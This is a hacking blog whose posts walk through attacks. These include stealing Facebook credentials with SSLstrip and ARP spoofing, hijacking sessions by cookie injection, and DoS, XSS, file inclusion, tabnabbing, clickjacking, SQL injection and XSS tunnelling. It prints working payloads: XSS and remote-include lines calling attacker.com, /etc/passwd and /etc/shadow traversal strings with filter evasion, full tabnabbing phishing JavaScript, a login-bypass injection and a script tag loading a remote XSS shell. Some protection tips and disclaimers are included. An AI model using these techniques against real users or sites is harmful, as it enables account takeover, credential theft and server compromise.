EXTREME HACKING

HACK FACEBOOK BY BREAKING THE SSL

2013-06-08T01:26:00.000-07:00

In my previous post I've discussed how user's session is hijacked and how SSL/TLS is incorporated for secure communication. But still the hackers can sniff the user credentials by breaking the SSL/TLS. This technique is referred to SSLstrip which was released by Moxie Marlinspike to demonstrate the vulnerabilities he spoke about at Black Hat Technical Security Conference: USA 2009.

In this scope I'll be using BackTrack, a Penetration Testing Distribution integrated with the below tools to scan the Network, set up Firewall rules, MIMA, monitor client-server HTTP connection and sniff packets.

NMAP
IPTABLES
ARPSPOOF
SSLSTRIP
ETTERCAP

SSLstrip strips out HTTPS links from unencrypted webpages, replaces them with HTTP links and sends the altered pages to the client. The client never sees an HTTPS link to click on, only the unencrypred HTTP version.

Techniques:

1. First Scan your network and find the target using NMAP, a Network Scanner. In this case i got 192.168.1.5 as the Target.

2. Next I need to start the IP Forwarding which enables my machine to forward any network traffic it receives from the target to the router.

3. Next Set up port redirection using IPtables.

4. Next Man-In-The-Middle-Attack (MIMA) is begun by exploiting ARP Cache Poisoning to intercept network traffic between the target and the router.

5. Start the SSLstrip tool and make it listen to default port 10000.

6. Start Ettercap to sniff the packets to fetch user credentials.

Once this setup is up and running perfectly, let the victim login the Facebook. In particular, the victim's HTTP traffic will be redirected to our port 10000, where SSLstrip is listening. After this we will be able to eavesdrop and steal all of the victim's passwords sent supposedly over SSL/TLS.

Protection:

1. Force-TLS add-on allows web sites to tell Firefox that they should be served via HTTPS in the future; this helps secure you from accidentally negotiating an insecure session with certain sites.

2. HTTP Strict Transport Security (HSTS) is a web security policy mechanism whereby a web server declares that complying user agents (such as a web browser) are to interact with it using only secure HTTPS connections (i.e. HTTP layered over TLS/SSL)

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

HACK FACEBOOK BY HIJACKING THE SESSION

2013-05-08T11:20:00.003-07:00

How To Hack FACEBOOK ?

Hello friends ! Previously I've posted different ways to hack the user account of Email Server or Social Networking site. For more information please click here. Today I'll illustrate the SESSION HIJACKING technique to hack FB Account.

In this scope I will be using BACKTRACK, a Penetration Testing Distribution integrated with the below tools for Network Scan, MIMA and Packet Analysis.

1. NMAP

2. ARPSPOOF

3. WIRESHARK

And two below scripts which are compatible with Mozilla Firefox will be used for Cookie Injection:

1. GREASEMONKEY

2. COOKIE INJECTOR

Techniques:

1. First Scan your network and find the target using NMAP, a Network Scanner. In this case i got 192.168.1.3 as the Target.

2. Next I need to start the IP Forwarding which enables my machine to forward any network traffic it receives from the target to the router.

3. Next Man-In-The-Middle-Attack (MIMA) is begun by exploiting ARP Cache Poisoning to intercept network traffic between the target and the router.

First a malicious ARP reply is sent to the target, associating my MAC address with the router's IP (192.168.1.1).

Secondly another malicious ARP reply is sent to the router, associating my MAC address with the target's IP (192.168.1.3).

4. Next I start packet capturing using WIRESHARK at my wlan0 interface and

applied a filter with http.cookie contains datr. The cookie string printable text with GET label is then copied.

5. GREASEMONKEY and COOKIE INJECTOR scripts are then installed in my Firefox browser. After restarting the browser Facebook login page is opened and Alt+C is pressed to inject cookie strings captured in Wireshark.

Reloading the page and I am able to login target's account !

Protection:

1. Browse Facebook on a secure connection (https) when possible. Make sure Secure Browsing option in Security Settings tab is enabled.

2. Arpwatch is a computer software tool for monitoring Address Resolution Protocol traffic on a computer network. Network administrators monitor ARP activity to detect ARP spoofing.

3. Capsa Network Analyzer (Packet Sniffer) is an easy-to-use Ethernet network analyzer (aka. packet sniffer or protocol analyzer) for network monitoring and troubleshooting purposes.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

DENIAL OF SERVICE ATTACK

2012-11-11T00:45:00.000-08:00

What is a DoS?

A Denial of Service (DoS) attack is an attack that clogs up so much memory on the target system that it can not serve it's users, or it causes the target system to crash, reboot, or otherwise deny services to legitimate users. When the attackers don't find any vulnerability in the targeted system they produce the DoS to take that down.

SYN Flood Attack:

A SYN flood is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target's system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic.

A normal connection between a user (Alice) and a server. The three-way handshake is correctly performed.

In SYN flood attack, the attacker (Mallory) sends several packets but does not send the ACK back to the server. The connections are hence half-opened and consuming server resources. Alice, a legitimate user, tries to connect but the server refuses to open a connection resulting in a denial of service.

Low Orbit Ion Cannon (LOIC) is an open source network stress testing and denial-of-service attack application, written in C#.

DDoS Attack:

DDoS, short for Distributed Denial of Service, is a type of DOS attack where multiple compromised systems which are usually infected with a Trojan, are used to target a single system causing a Denial of Service (DoS) attack.

In Indo-Pak cyber war (2003), Yaha worms, created by Roxx (member of indiansnakes.cjb.net), a standard 12 student from Bangalore, disable antivirus software and command the computer to launch a distributed denial-of-service attack of Pakistani websites.

Yaha is a mass-mailing worm like ILOVEYOU or MYDOOM that sends itself to all email addresses that exist in the Microsoft Windows Address Book, the MSN Messenger List, the Yahoo Pager list, the ICQ list. It also leaves Windows registry patch, thus making the system a Zombie.

Protection:

1. Firewalls can be setup to have simple rules such to allow or deny protocols, ports or IP addresses. TCP Intercept is a traffic filtering security feature that protects TCP servers from TCP SYN-flooding attacks.

2. Unicast Reverse Path Forwarding (uRPF) is a Network Ingress Filtering feature that defends Denial of Service Attacks which employ IP Source Address Spoofing.

3. DoS Defense System (DDS) is able to block connection-based DoS attacks and those with legitimate content but bad intent. A DDS can also address both protocol attacks (such as Teardrop and Ping of death) and rate-based attacks (such as ICMP floods and SYN floods).

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

XSS ATTACK TO WEB APPLICATION

2011-12-08T21:39:00.000-08:00

What is XSS ?

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications that enables attackers to inject client-side script into Web pages viewed by other users.

In the previous post I've discussed Persistant (Stored) and Non-persistant (Reflected) XSS, used to hijack the user session. Today I'll discuss how to attack the Web application through Stored Cross-site scripting.

Example:

The following is the simple guestbook script where the users can put name and message that will be stored in the guests table of the guestbook database and then displayed.

Script Code:

<html>
<h1>Guestbook page:</h1>
<form action='guestbook.php' method='post'>
<p><label for="name">Name:</label><br />
<input type="text" title="Enter your name" name="name" /></p>
<p><label for="message">Your message:</label><br />
<textarea title="Enter your message" name="message"></textarea></p>
<p><label title="Send your message">
<input type="submit" value="Send" /></label></p>
</form>
</html>

<?php
$con=mysql_connect("localhost","root","");
mysql_select_db("guestbook", $con);
if(isset($_POST['message']))
{
$name=$_POST['name'];
$message=$_POST['message'];
mysql_query("INSERT INTO guests VALUES ('','$name','$message')");
}
$result=mysql_query("SELECT * FROM guests ORDER BY id DESC");
while($row = mysql_fetch_array($result))
{
echo $row['name'] . " : " . $row['message'];
echo "<hr />";
}
?>

If I put name as Rajat and message as Hello everybody !!! in the form, it would look like this :

Now a malicious attacker put the following JavaScript snippet as part of the guestbook message which will result an alert box by the browser:

Script Code:

<script>alert("Guestbook page XSSed !!!")</script>

Which means the attacker has been able to insert a script in the application that is later executed in the context of another user.

Moreover the attacker can deface the website by putting the following code which will open a new browser window consisting the defacement page.

Script Code:

<script type="text/javascript">
window.open("www.attacker.com/deface.html", "_self");
</script>

Protection :

1. The script used in the guestbook page is not able to sanitize the inputs, most importantly the control characters like (< , >). That's why instead of displaying those inputs, it is executing them. In order to sanitize the inputs properly we can use the htmlentities() function converts characters to HTML entities as follows:

$name=htmlentities($_POST['name']);
$message=htmlentities($_POST['message']);

Now if the attacker put the previous JavaScript, it will be displayed without being executed by the browser like this:

2. Acunetix Web Vulnerability Scanner (WVS) Free Edition offers the functionality for anyone who wants to test their own application for Cross Site Scripting.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

LOCAL FILE INCLUSION

2011-11-30T18:10:00.000-08:00

What is Local File Inclusion?

Local File Inclusion (LFI) is the process of including files on a server through the web browser. This vulnerability occurs when a page include is not properly sanitized, and allows directory traversal characters to be injected.

A typical example of a PHP script vulnerable to LFI is as follows:

<?php
$page = $_GET['page'];
if(isset($page))
include("files/$page");
else
include("index.php");
?>

A legitimate request made to the script could look like this:

 http://victim.com/index.php?page=example.php

This is of little use to a potential attacker, who is more likely to be interested in the files outside the files/ directory. To do this, an attacker could use LFI. The simplest example would be:

 http://victim.com/index.php?page=../../../../etc/passwd

The repeated ../ characters has caused include() to traverse to the root directory, and then include the Unix password file /etc/passwd. Unix /etc/passwd is a common file used to demonstrate directory traversal, as it is often used by crackers to try cracking the passwords.

You may also wish to peruse around in other directories, such as:

/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

Poison Null Byte Attacks:

Every now and again, though, the website may output that /etc/passwd/ cannot be found simply because the server is interpreting the location as if it is /etc/passwd.php/. To correct this, we need to apply what is called a Null Byte. This bit of code looks like: %oo (percent double zero). In SQL, it means 0, but everywhere else in coding, it is interpreted similar to a black hole, such as /dev/null/. This code eliminates the use of an extension. The code would appear as /etc/passwd when entered into the address bar.

http://victim.com/index.php?page=../../../../etc/passwd%oo

Filter Evasion:

Most good admins will have protected against the simplest LFI attacks, so we should update the example script accordingly.

<?php
$page = str_replace('../', '', $_GET['page']);
if(isset($page))
include("files/$page");
else
include("index.php");
?>

One way to break this defence is to encode one or more characters into hexadecimal. This works because the browser decodes the input, but PHP does not. Our new LFI would be:

http://victim.com/index.php?page=..%2F..%2F..%2F..%2Fetc%2Fpasswd

Protection:

Process URI requests that do not result in a file request, e.g., executing a hook into user code, before continuing below.
When a URI request for a file/directory is to be made, build a full path to the file/directory if it exists, and normalize all characters (e.g., %20 converted to spaces).
It is assumed that a 'Document Root' fully qualified, normalized, path is known, and this string has a length N. Assume that no files outside this directory can be served.
Ensure that the first N characters of the fully qualified path to the requested file is exactly the same as the 'Document Root'. If so, allow the file to be returned. If not, return an error, since the request is clearly out of bounds from what the web-server should be allowed to serve.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

REMOTE FILE INCLUSION

2011-11-17T20:07:00.000-08:00

Whai is RFI ?

Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation.

An attacker can use RFI for:

Running malicious code on the server: any code in the included malicious files will be run by the server. If the file include is not executed using some wrapper, code in include files is executed in the context of the server user. This could lead to a complete system compromise.

Running malicious code on clients: the attacker's malicious code can manipulate the content of the response sent to the client. The attacker can embed malicious code in the response that will be run by the client (for example, Javascript to steal the client session cookies).

Example:

Typically, RFI attacks are performed by setting the value of a request parameter to a URL that refers to a malicious file. Consider the following PHP code:

<?php
$page = $_REQUEST["page"];
include($page.".php");
?>

The first line of code extracts the value of the page parameter from the HTTP request. The second line of code dynamically sets the page name to be included using the extracted value. If the web application does not properly sanitize the value of the page parameter, this code can be exploited.

Consider the following URL:

http://www.target.com/vuln_page.php?file=http://www.attacker.com/malicious

In this case the included page name will resolve to:

http://www.attacker.com/malicious.php

Thus, the remote file will be included and any malicious code in it will be run by the server. Most popular of them are c99 or r57 shell which allows an attacker to browse the filesystem, upload, view, and edit files as well as move files, delete files, and even change permissions, all as the web server.

Prevention:

The most common protection mechanism against RFI attacks is based on signatures for known vulnerabilities in the Web application. Now we can improve the detection and blocking of such attacks by creating a blacklist of attack sources and a black list of URLs of remotely included malicious scripts:

1. Advanced knowledge of RFI attack sources enables the WAF to block an attack before it even begins.

2. A blacklist of the referenced URL enables the WAF to block exploits targeting zero-day vulnerabilities of applications.

3. The blacklist of IPs constructed from the RFI attack observations could be used to block other types of attacks issued from the same malicious sources.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

EXPLORE THE ATTACK

2011-11-17T04:24:00.000-08:00

How does the attack begin ?

Attackers follow a fixed methodology to penetrate into a system. The steps a hacker follows can be broadly divided into five phases:

1. Reconnaissance:

Reconnaissance or Footprinting is consideredthe first pre-attack phase and is a systematic attempt to locate, gather, identify, and record information about the target. The hacker seeks to find out as much information as possible about the victim. Some hackers might dumpster dive to find out more about the victim. Dumpster diving is the act of going through the victim's trash. Another favorite of the hacker is social engineering. A social engineer is a person who can smooth talk other individuals into revealing sensitive information. This might be accomplished by calling the help desk and asking someone to reset a password or by sending an email to an insider telling him he needs to reset an account.

2. Scanning:

Scanning and enumeration is considered the second pre-attack phase. Scanning is the active step of attempting to connect to systems to elicit a response. Enumeration is used to gather more in-depth information about the target, such as open shares and user account information. At this step in the methodology, the hacker is moving from passive information gathering to active information gathering. Hackers begin injecting packets into the network and might start using scanning tools such as Nmap. The goal is to map open ports and applications. Unlike the elite blackhat hacker who attempts to remain stealth, script kiddies might even use vulnerability scanners such as Nessus to scan a victim's network.

3. Gaining Access:

As far as potential damage, this could be considered one of the most important steps of an attack. This phase of the attack occurs when the hacker moves from simply probing the network to actually attacking it. After the hacker has gained access, he can begin to move from system to system, spreading his damage as he progresses. Access can be achieved in many different ways. A hacker might find a vulnerability in the web server's software or might perform a denial of service (DOS) on that server. If the hacker is really bold, he might even walk in and tell the receptionist that he is late for a meeting and will wait in the conference room with network access. Pity the poor receptionist who unknowingly provided network access to a malicious hacker.

4. Maintaining Access:

Hackers are diligent at working on ways to maintain access to the systems they have attacked and compromised. They might attempt to pull down the etc/passwd file or steal other passwords so that they can access other user's accounts. Rootkits are one option for hackers. A rootkit is a set of tools used to help the attacker maintain his access to the system and use it for malicious purposes.

5. Clearing Tracks:

Nothing happens in a void, and that includes computer crime. Hackers are much like other criminals in that they would like to be sure to remove all evidence of their activities. Hackers must also be worried about the files or programs they leave on the compromised system. In order that the target company’s security engineer or network administrator cannot detect the evidence of attack, the hacker needs to delete logs files and replace system binaries with Trojans.

How do you defend the attack ?

In order to defend a hacker, you have to think from his/her perspective. Being an ethical hacker, you will need to be aware of these tools and techniques to discover their activities and to deploy adequate countermeasures.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

THE MOST WANTED BLACK HAT

2011-06-13T05:07:00.000-07:00

WHAT IS A BLACK HAT HACKER ?

Black hat is used to describe a hacker who breaks into a computer system or network with malicious intent. Unlike a white hat hacker, the black hat hacker takes advantage of the break-in, perhaps destroying files or stealing data for some future purpose. The black hat hacker may also make the exploit known to other hackers or the public without notifying the victim. The black hats are also called the Crackers.

ZombiE_KsA: Founder of PAKbugs-Crew

Jawad Ehsan, a.k.a HAmza, a.k.a ZombiE_KsA is one of the most wanted black hat hackers or cyber criminals, who had founded the Pakbugs.com. He was basically Saudi Arabia based and was charged with 169 website defacements. In the year 2009, he hacked the GOOGLE Morocco and claimed that was the biggest defacement ever from pakistani hackers.

Mirror: http://www.zone-h.org/mirror/id/8858514

National Response Centre For Cyber Crimes:

NR3C (FIA) is providing single point of contact for all local and foreign organization for all matters related to cyber crimes. It is imparting trainings and related security education to persons of government/semi-government and private sector organizations.

7th January, 2010:

Mr. Aamir Attaa wrote a topic on How to Register Complaint with FIA (Cyber Crime Wing) on a Pakistani Telecom and IT News website.

1st July, 2010:

ZombiE_KsA announced on his website that Federal Investigation Department official website, which he had found on propakistani.pk, was owned by Pakbugs.

Mirror: http://zone-h.org/mirror/id/10093092

8th July, 2010:

Pakistani Telecom and IT News website announced that Pakbugs hacker’s group was Arrested, including ZombiE_KsA.

Today:

ZombiE_KsA is active on Pakbugs, even more surprisingly he is working for NR3C.

Hope this time FIA/ NR3C is in right, talented hand :) What do you think guys ?

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

INDO-PAK CYBER WAR

2011-06-09T02:52:00.000-07:00

What is Cyber War?

Today the war between two nations is fought on cyber space where the bullets are replaced by bytes and the soldiers are replaced by hackers. Cyber security experts say that the cyber war between Indian and Pakistani hackers has grown manifold in the last few years.

17th Nov. 2008:

OGRA (Oil and Gas Regulatory Authority, Pakistan) website was defaced by a group of Indian hackers, called HMG (Hindu Militant Guard).

26th Nov, 2008:

In response, a pakistani group of hackers, called PCA (Pakistan Cyber Army) hacked the ONGC (Oil and Natural Gas Corporation Limited, India) website.

In a message posted briefly on the ONGC website, PCA said the hacking was carried out in retaliation for the hacking of the OGRA website.

"Back off, go read some course books, else you will lose both, your name and this game. We will literally smoke your doors off like other groups did before." said the message from PCA.

The fight between Jawad Ehsan/ HAmza/ ZombiE_KsA (founder of PAKBUGS.COM) and r45c4l (leader of Indian Cyber Warriors, ICW, ANDHRAHACKERS.COM) took the higher magnitude.

Joint Statement of PCA and ZombiE_KsA:

Joint statement of PCA (Pakistan Cyber Army) and Zombie_ksa (pakbugs crew) comes into friendly terms with ICW (Indian Cyber Warriors, HMG)

After a meeting, all of the three groups agreed not do deface each other’s websites. It all happened when people from these groups realized that there is no use of such defacements and they should be instead involved in constructive work. Apart from that , poor defaced organizations suffer from these activities.

PCA, zombie_ksa and ICW is not responsible for the activities performed by other groups from both countries

Me r45c4l, on the behalf of ICW likes to make a statement that after a series of defacing each other’s government websites, we as well as PCA and PakBugs feels that this is not going to solve any problem and the things will only gets worse. the guys from ICW, PCA and pakBugs are all very talented and instead of harming each other we can help each other to tighten the securities of our sites and servers.

So after a discussion with all ICW,PCA and PakBugs members, we would like to announce that we all quite this here and we will not hack each other’s sites. From now on if any one hacks any sites/servers or claims the hack to be done by either ICW or PCA or PakBugs, we will not be responsible for this.

We all r sorry for the trouble and inconvenience caused by all of us.

With regards,

Team PCA

Team PakBugs

Team ICW

Time passed, but the war did not stop. Some of them are arrested, some are still invisible. The defacements are still in progress. So website administrators, please tune up your security, and make sure that you give tough time to hackers rather than just a minute to deface them.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

TABNABBING

2011-04-18T21:16:00.000-07:00

What is Tabnabbing ?

Tabnabbing is a computer exploit and phishing attack, which persuades users to submit their login details and passwords to popular Web sites by impersonating those sites and convincing the user that the site is genuine. The attack's name was coined in early 2010 by Aza Raskin, a security researcher and design expert.

How Tabnabbing Works ?

1. A user navigates to your normal looking site.

2. You detect when the page has lost its focus and hasn’t been interacted with for a while.

3. Replace the favicon with the Gmail favicon, the title with “Gmail: Email from Google”, and the page with a Gmail login look-a-like. This can all be done with just a little bit of Javascript that takes place instantly.

4. As the user scans their many open tabs, the favicon and title act as a strong visual cue - memory is malleable and moldable and the user will most likely simply think they left a Gmail tab open. When they click back to the fake Gmail tab, they’ll see the standard Gmail login page, assume they’ve been logged out, and provide their credentials to log in. The attack preys on the perceived immutability of tabs.

5. After the user has entered their login information and you’ve sent it back to your server, you redirect them to Gmail. Because they were never logged out in the first place, it will appear as if the login was successful.

You can make this attack even more effective by changing the copy: Instead of having just a login screen, you can mention that the session has timed out and the user needs to re-authenticate. This happens often on bank websites, which makes them even more susceptible to this kind of attack.

Source Code:

(function(){

var TIMER = null;
var HAS_SWITCHED = false;

window.onblur = function(){
TIMER = setTimeout(changeItUp, 5000);
}

window.onfocus = function(){
if(TIMER) clearTimeout(TIMER);
}

function setTitle(text){ document.title = text; }

favicon = {
docHead: document.getElementsByTagName("head")[0],
set: function(url){
this.addLink(url);
},

addLink: function(iconURL) {
var link = document.createElement("link");
link.type = "image/x-icon";
link.rel = "shortcut icon";
link.href = iconURL;
this.removeLinkIfExists();
this.docHead.appendChild(link);
},

removeLinkIfExists: function() {
var links = this.docHead.getElementsByTagName("link");
for (var i=0; i<links.length; i++) {
var link = links[i];
if (link.type=="image/x-icon" && link.rel=="shortcut icon") {
this.docHead.removeChild(link);
return;
}
}
},

get: function() {
var links = this.docHead.getElementsByTagName("link");
for (var i=0; i<links.length; i++) {
var link = links[i];
if (link.type=="image/x-icon" && link.rel=="shortcut icon") {
return link.href;
}
}
}
};


function createShield(){
div = document.createElement("div");
div.style.position = "fixed";
div.style.top = 0;
div.style.left = 0;
div.style.backgroundColor = "white";
div.style.width = "100%";
div.style.height = "100%";
div.style.textAlign = "center";
document.body.style.overflow = "hidden";

img = document.createElement("img");
img.style.paddingTop = "15px";
img.src = "http://img.skitch.com/20100524-b639xgwegpdej3cepch2387ene.png";

var oldTitle = document.title;
var oldFavicon = favicon.get() || "/favicon.ico";

div.appendChild(img);
document.body.appendChild(div);
img.onclick = function(){
div.parentNode.removeChild(div);
document.body.style.overflow = "auto";
setTitle(oldTitle);
favicon.set(oldFavicon)
}


}

function changeItUp(){
if( HAS_SWITCHED == false ){
createShield("https://mail.google.com");
setTitle( "Gmail: Email from Google");
favicon.set("https://mail.google.com/favicon.ico");
HAS_SWITCHED = true;
}
}


})();

Protection:

1. Keep your web browser up-to-date. Also make sure that plugins and extensions are up-to-date and from trusted sources.

2. The NoScript extension for Firefox defends both from the JavaScript-based and from the scriptless attack, based on meta refresh, by preventing inactive tabs from changing the location of the page.

3. Pay attention to the address in your browser’s toolbar, especially when it comes to login pages. It’s easy to get into muscle-memory mode and just assume that a tab is unchanged, but for important user accounts, keep an eye on that location bar.

4. Consider using some sort of password management tool. Raskin points to the Firefox Account Manager as one method of using the browser for your identity manager, but plugins and tools like 1Password are good choices too. Rather than typing in user names and passwords individually, using an identity manager that compares the site you are on against the stored data in its database (making sure the addresses and DNS addresses matchup) will prevent you from entering in information into a false site.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

CLICKJACKING

2011-04-18T02:31:00.000-07:00

What is Clickjacking ?

Clickjacking is a malicious technique of tricking web users into revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

Clickjacking involves generating a fake graphical overlay on top of an existing Web page in order to visually change the Web page while preserving its functionality (buttons, forms, etc.). This is done with the intension of misleading users to interact with the hidden Web page while they believe they are interacting with a completely different Web site.

Description:

Using only CSS Z-INDEX and HTML IFRAME, an attacker can create a transparent victim web page that contains privileged buttons. Underneath this transparent IFRAME, the attacker puts content, like a game, that entices the user to click. You may think you're playing a game, when you're actually starting a webcam recording.

Sample Script Code:

<html></html>
<div style="z-index:2; position:absolute;top:0; left:0;width: 70%; height:70%">
<iframe src="http://www.facebook.com/home.php?" id="frame1" style="opacity:0.4;filter:alpha(opacity=40); " width="100%" height="100%" onmouseover="this.style.opacity=.5;this.filters.alpha.opacity=50" onmouseout="this.style.opacity=0;this.filters.alpha.opacity=0"/></iframe></div>
<div align="right" style="position:absolute; top:0; left:0; z-index:1; width: 70%;height:70%; background-color: yellow;text-align:left;">
<strong>This is an example of how a simple clickjacking attack is done by a malicious site.</strong><br/></div>

Example-1:

In this example, an attacker carries the clickjacking attack using a technique called IFrame overlays. In this technique, the malicious Web page includes code that generates the fake UI and an IFrame that points to an email application at a different domain. When the two are combined the top-level page covers portions of the IFrame in order expose only the “Yes” button and the user can be easily tricked into deleting all messages in his inbox.

Example-2:

One of the most notorious examples of Clickjacking was an attack against the Adobe Flash plugin settings page. By loading this page into an invisible iframe, an attacker could trick a user into altering the security settings of Flash, giving permission for any Flash animation to utilize the computer's microphone and camera.

Example-3:

ClickJacking is similar to many others scams which attacked Facebook over the years. It attracts users with status like “OMG This Guy Went a Little Too Far with His Revenge on His Ex-Girlfriend”. On clicking the link it asks users to complete a validation test to ensure that the response is not computer. However, by responding users are actually clicking Facebook’s “share” and “like” buttons, while also posting the message to their wall.

Protection:

The best defense against ClickJacking attacks is to use Firefox with the NoScript add-on installed.

Default protections that NoScript has provided for a long time, i.e. JavaScript and plugin blocking can prevent most clickjacking attacks. Since version 1.8.2, NoScript provides a new default kind of protection called ClearClick, which defeats clickjacking no matter if you block frames or not .

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

ARP POISONING

2011-04-18T01:36:00.000-07:00

What is ARP ?

The Address Resolution Protocol (ARP) is a computer networking protocol for determining a network host's hardware address (MAC) or link layer when only its Internet Layer (IP) or Network Layer address is known. In fact it’s a IP to MAC mapping.

Broadcast ARP Request:

Jessica, the receptionist, tells Word to print the latest company contact list. This is her first print job today. Her computer (IP address 192.168.0.16) wants to send the print job to the office's HP LaserJet printer (IP address 192.168.0.45). So Jessica's computer broadcasts an ARP Request to the entire local network asking, "Who has the IP address, 192.168.0.45?"

Unicast ARP Reply:

All the devices on the network ignore this ARP Request, except for the HP LaserJet printer. The printer recognizes its own IP in the request and sends an ARP Reply: "Hey, my IP address is 192.168.0.45. Here is my MAC address: 00:90:7F:12:DE:7F"

ARP Poisoning:

Address Resolution Protocol (ARP) spoofing, also known as ARP poisoning or ARP Poison Routing (APR), is a technique used to attack an Ethernet wired or wireless network. ARP Spoofing may allow an attacker to sniff data frames on a local area network (LAN), modify the traffic, or stop the traffic altogether.

The ability to associate any IP address with any MAC address provides hackers with many attack vectors, including Denial of Service (DoS), Man in the Middle, and MAC Flooding.

Man in the Middle Attack (MIMA):

A hacker can exploit ARP Cache Poisoning to intercept network traffic between two devices in your network.

Attack Stage-1:

The hacker wants to see all the traffic between your computer, 192.168.0.12, and your Internet router, 192.168.0.1. The hacker begins by sending a malicious ARP "reply" (for which there was no previous request) to your router, associating his computer's MAC address with 192.168.0.12.

Attack Stage-2:

Now your router thinks the hacker's computer is your computer. Next, the hacker sends a malicious ARP reply to your computer, associating his MAC Address with 192.168.0.1

Attack Stage-3:

Now your machine thinks the hacker's computer is your router. Finally, the hacker turns on an operating system feature called IP forwarding. This feature enables the hacker's machine to forward any network traffic it receives from your computer to the router.

ARP Poisoning Tool:

Ettercap is a suite for man in the middle attacks on LAN. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols and includes many feature for network and host analysis.

Download ETTERCAP from here.

Protection:

1. Arpwatch is a computer software tool for monitoring Address Resolution Protocol traffic on a computer network. Network administrators monitor ARP activity to detect ARP spoofing.

2. Arping is a computer software tool that is used to discover hosts on a computer network. The arping tool is analogous in function to ping, which probes hosts using the Internet Control Message Protocol at the Internet Layer (OSI Layer 3).

3. Capsa Network Analyzer (Packet Sniffer) is an easy-to-use Ethernet network analyzer (aka. packet sniffer or protocol analyzer) for network monitoring and troubleshooting purposes.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

SQL INJECTION

2011-01-02T00:18:00.000-08:00

What is SQL Injection?

A SQL injection or SQLI attack consists of injection of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database, recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.

A web application is vulnerable to an SQL injection attack if an attacker is able to insert SQL statements into an existing SQL query of the application. This is usually achieved by injecting malicious input into user fields that are used to compose the query.

SQLI Example:

Consider a web application that uses a query shown in Step 1 for authenticating its users.

SQL Injection Step 1:

SELECT * FROM Users WHERE User = 'john' AND Password = 'doe'

This query retrieves the ID and LastLogin fields of user john with password doe from table Users. In this example, a login page prompts the user to enter her username and password into a form. When the form is submitted, its fields are used to construct an SQL query shown in Step 2 that authenticates the user.

SQL Injection Step 2:

sqlQuery = "SELECT * FROM Users WHERE User = '$username' AND Password = '$password'"

If the login application does not perform correct input validation of the form fields, the attacker can inject strings into the query that alter its semantics. For example, consider an attacker entering user credentials such as the ones shown in Step 3.

SQL Injection Step 3:

User: ' OR 1=1 --
Password: anything

Using the provided form data, the vulnerable web application constructs a dynamic SQL query for authenticating the user as shown in Step 4.

SQL Injection Step 4:

SELECT * FROM Users WHERE User = '' OR 1=1 -- ' AND Password = 'anything'

The "--" command indicates a comment in Transact-SQL. Hence, everything after the first "--" is ignored by the SQL database engine. With the help of the first quote in the input string, the user name string is closed, while the '' OR 1=1 adds a clause to the query which evaluates to true for every row in the table. When executing this query, the database returns all user rows, which applications often interpret as a valid login.

SQLI Helper:

SQLI Helper is handy software to hack website by injecting SQL query to the database.

Download SQLI Helper from here.

Protection:

1. Web application developers need to consider malicious input data and sanitize it properly before using it to construct dynamically generated SQL queries.

2. A straight-forward, though error-prone, way to prevent injections is to escape characters that have a special meaning in SQL. In PHP, for example, it is usual to escape parameters using the function mysql_real_escape_string(); before sending the SQL query:

$query = sprintf("SELECT * FROM 'Users' WHERE UserName='%s' AND Password='%s'",
mysql_real_escape_string($username),
mysql_real_escape_string($password));
mysql_query($query);

3. Another way of helping developers is to implement user data encoding within the web server application environment. For example, Microsoft implemented such security checks in their .NET framework.

Happy Hacking...Enjoy...

For educational purpose only...Do not misuse it...

XSS TUNNELLING

2010-12-31T12:47:00.000-08:00

What is XSS Tunnelling?

XSS Tunnelling is the tunnelling of HTTP traffic through an XSS Channel to use virtually any application that supports HTTP proxies. XSS Tunnel is a standard HTTP proxy which sits on an attacker’s system. Any tool that is configured to use it will tunnel its traffic through the active XSS Channel on the XSS Shell server. The XSS Tunnel converts the request and responds transparently to validate the HTTP responses and XSS Shell requests.

XSS Channel:

An XSS Channel is an interactive communication channel between two systems
which is opened by an XSS attack. At a technical level, it is a type of AJAX
application which can obtain commands, send responses back and is able to talk
cross-domain.

XSS Shell:

The XSS Shell is a tool that can be used to setup an XSS Channel between a victim
and an attacker so that an attacker to control a victim’s browser by sending it
commands. This communication is bi-directional.

Download XSS Shell from here.

Example:

To get the XSS Shell to work an attacker needs to inject the XSS Shell’s JavaScript
reference by way of an XSS attack. The attacker is then able to control the victim’s
browser. After this point the attacker can see requests, responses and is able to
instruct the victim’s browser to carryout requests etc.

http://example.com/q="><script
src="http://xssshellserver/xssshell.asp"></script>

How Does XSS Shell Work?

Firstly, the server side part of the XSS Shell coordinates the XSS Shell between an
attacker and the victim. It is a server-side application and requires an ASP and IIS
web server. It uses an MS Access database as storage.

The second part of the tool is client-side and written in JavaScript. This loads in the
victim’s browser and is responsible for the receiving and processing of commands
together with providing the channel between the victim and the attacker. This code
was tested under Firefox, IE6 and IE7.

The final part of the XSS Shell is the administration interface. An attacker can send
new commands and receive the responses from a victim(s) browser instantly from
this interface. Again it is ASP and requires IIS.

1. An attacker infects a website with a persistent or reflected (temporary) XSS
attack which calls remote XSS Shell JavaScript.

2. The Victim follows a link or visits the page and executes the JavaScript within
that domain.

3. The Victim’s browser begins to perform periodic requests to the XSS Shell
Server and looks for new commands.

